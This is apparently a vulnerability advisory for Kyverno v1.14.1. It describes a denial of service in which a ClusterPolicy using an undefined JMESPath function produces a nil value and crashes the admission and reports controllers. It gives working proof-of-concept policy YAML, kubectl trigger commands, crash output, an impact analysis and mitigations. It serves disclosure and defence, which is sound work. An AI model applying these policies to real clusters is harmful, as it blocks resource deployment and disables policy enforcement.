Kyverno's Improper JMESPath Variable Evaluation Lead to Denial of Service

In the second phase the same policy is inserted with the Enforce validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.

Tested on Kyverno v1.14.1.

1. Prerequisites: Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update ClusterPolicy or Policy resources.

2. Create a Malicious Policy: Apply the following ClusterPolicy:

   apiVersion: kyverno.io/v1
   kind: ClusterPolicy
   metadata:
       name: dos-via-jmespath-nil
   spec:
       rules:
       - name: trigger-nil-panic
         match:
           any:
           - resources:
               kinds:
               - Pod
         validate:
             message: "DoS attempt via JMESPath nil substitution"
             pattern:
               metadata:
                 labels:
                   # '{{@ | non_existent_function}}' will result in a nil value for this label.
                   # This nil value causes a panic in getValueAsStringMap.
                   trigger_panic: "{{@ | non_existent_function}}"
   

3. Verify the policy status: Make sure the policy is ready.

   k get clusterpolicy dos-via-jmespath-nil
   NAME                   ADMISSION   BACKGROUND   READY   AGE   MESSAGE
   dos-via-jmespath-nil   true        true         True    24m   Ready
   

4. Trigger the Policy: Create any Pod in any namespace (if not further restricted by match or exclude):

   kubectl run test-pod-dos --image=nginx
   

5. Observe Crashes:

   • Check Kyverno admission controller logs for worker panics (interface conversion: interface {} is nil, not string).
   • Check Kyverno reports controller logs; the pod crashes and restarts.
   • Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380

6. Reset: Delete the existing policy with kubectl delete clusterpolicy dos-via-jmespath-nil and delete the test pod with kubectl delete pod test-pod-dos. Then apply the following:

    apiVersion: kyverno.io/v1
    kind: ClusterPolicy
    metadata:
        name: dos-via-jmespath-nil-enforce
    spec:
        validationFailureAction: Enforce # This has changed
        rules:
        - name: trigger-nil-panic
          match:
            any:
            - resources:
                kinds:
                - Pod
          validate:
              message: "DoS attempt via JMESPath nil substitution"
              pattern:
                metadata:
                  labels:
                    # '{{@ | non_existent_function}}' will result in a nil value for this label.
                    # This nil value causes a panic in getValueAsStringMap.
                    trigger_panic: "{{@ | non_existent_function}}"
   

7. Trigger the Policy (again): Create any Pod in any namespace (if not further restricted by match or exclude):

   kubectl run test-pod-dos --image=nginx
   

   The command returns the following error:

   Error from server (InternalError): Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF
   

8. Observe Crashes:

   • Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker.
   • Check Kyverno reports controller logs; the pod crashes and restarts.

Impact

This is a Denial of Service (DoS) vulnerability.

• Affected Components:

  • Kyverno Admission Controller: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail.
  • Kyverno Reports Controller: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.

• Conditions: An attacker needs permissions to create or update Kyverno Policy or ClusterPolicy resources. This is often a privileged operation but may be delegated in some environments.

• Consequences: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility.

Mitigation

• Add robust nil handling in getValueAsStringMap.
• Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in nil values.